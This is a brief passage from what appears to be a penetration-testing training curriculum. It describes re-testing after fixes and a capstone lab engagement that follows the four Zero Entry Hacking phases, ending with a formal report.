After the client's engineering teams apply recommended patches and security reconfigurations, the penetration testing team conducts formal re-testing. Re-testing re-executes the exact exploit vectors detailed in the initial report to verify that applied fixes effectively resolve the vulnerabilities without introducing secondary system issues.

Capstone Simulated Engagement

The training program concludes with a comprehensive, end-to-end simulated capstone engagement. Operating independently within an isolated laboratory target environment, analysts execute all four Zero Entry Hacking (ZEH) methodology phases in sequence:

```
[Phase 1: Reconnaissance] ---&gt; [Phase 2: Scanning] ---&gt; [Phase 3:
Exploitation] ---&gt; [Phase 4: Maintaining Access]

|

v

[Formal Report Delivery]
```

Upon successfully navigating all four operational phases against the target environment, the analyst compiles and delivers a complete, professional penetration testing report, completing the comprehensive practical training curriculum.